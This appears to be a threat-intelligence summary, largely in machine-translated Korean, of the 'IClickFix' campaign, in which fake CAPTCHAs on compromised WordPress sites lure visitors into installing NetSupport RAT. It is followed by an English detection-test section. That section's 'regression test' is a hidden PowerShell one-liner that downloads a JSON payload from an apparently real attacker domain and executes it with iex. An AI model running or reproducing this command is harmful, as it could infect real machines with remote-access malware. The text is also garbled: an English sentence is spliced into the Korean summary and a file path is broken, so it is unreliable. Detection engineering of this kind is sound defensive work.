IClickFix 소개: ClickFix 전술을 사용하는 널리 퍼진 WordPress 타겟팅 프레임워크

요약

이 보고서는 프로파일하는 IClickFix, 악성 JavaScript 프레임워크로, WordPress 사이트를 손상시키고 Cloudflare Turnstile 스타일의 CAPTCHA를 위장하여 제시합니다. 이 미끼는 방문자가 PowerShell 명령을 실행하도록 강요하며, 이는 다운로드하여 설치하는 NetSupport RAT을(를) 실행합니다. 배포는 YOURLS URL 단축 프로그램과 리디렉터 도메인의 회전 세트를 중심으로 구축된 트래픽 배포 시스템에 의해 지원됩니다. 연구자들은 2024년 말 이후로 전 세계적으로 이 체인을 제공하는 3,800개 이상의 손상된 WordPress 사이트를 관찰했습니다. YOURLS URL shortener and a rotating set of redirector domains. Researchers observed more than 3,800 compromised WordPress sites serving this chain globally since late 2024.

조사

Sekoia 분석가들은 손상된 사이트에서 주입된 JavaScript 태그 ic-tracker-js 를 식별한 후, 여러 단명하는 도메인에서 리디렉션 흐름을 복원했습니다. 그들은 최종 페이로드를 검색하는 데 사용된 정확한 PowerShell 실행 패턴을 캡처했으며, 연관된 C2 인프라 지표와 함께 드롭된 NetSupport RAT 구성 요소를 복구했습니다.

완화

웹 콘텐츠에서 ic-tracker-js 주입을 모니터링하고, 체인에서 사용되는 알려진 악성 도메인, 리디렉터, 짧은 링크 서비스를 차단합니다. 엔드포인트에서는 ClickFix 미끼와 일치하는 PowerShell 다운로드 및 실행 패턴을 감지합니다. NetSupport 클라이언트 파일 생성 및 사용자 레벨의 지속성을 통해 Run 레지스트리 키를 덮습니다.

대응

지표가 나타나면 엔드포인트를 격리하고 활성 PowerShell 프로세스를 중지하며 NetSupport 바이너리와 모든 레지스트리 기반 지속성을 제거합니다. 공격자가 추가 임플란트를 배포하거나 2차적인 접근 경로를 확립하지 않았음을 확인하기 위해 전체 포렌식 분류를 따릅니다.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:

  An adversary who has initial access to the endpoint wishes to establish a persistent foothold by delivering the NetSupport RAT. To evade interactive detection, they launch PowerShell in hidden mode with no profile or logo (-w hidden -nop -c). They then use Invoke‑WebRequest (iwr) to download a malicious JSON payload (tytuy.json) that contains a PowerShell script for the RAT. The script is written to the temporary directory and executed via Invoke‑Expression. This exact command line matches the strings the Sigma rule monitors.

• Regression Test Script:

  # PowerShell one‑liner that matches the detection rule
  $url = 'https://scottvmorton.com/tytuy.json'
  $out = "$env:TEMPpayload.ps1"
  
  powershell -w hidden -nop -c "iwr '$url' -OutFile $out; iex (Get-Content $out -Raw)"

• Cleanup Commands:

  # Remove the downloaded payload and any lingering PowerShell processes
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Get-Process -Name powershell | Where-Object {$_.CommandLine -match 'tytuy.json'} | Stop-Process -Force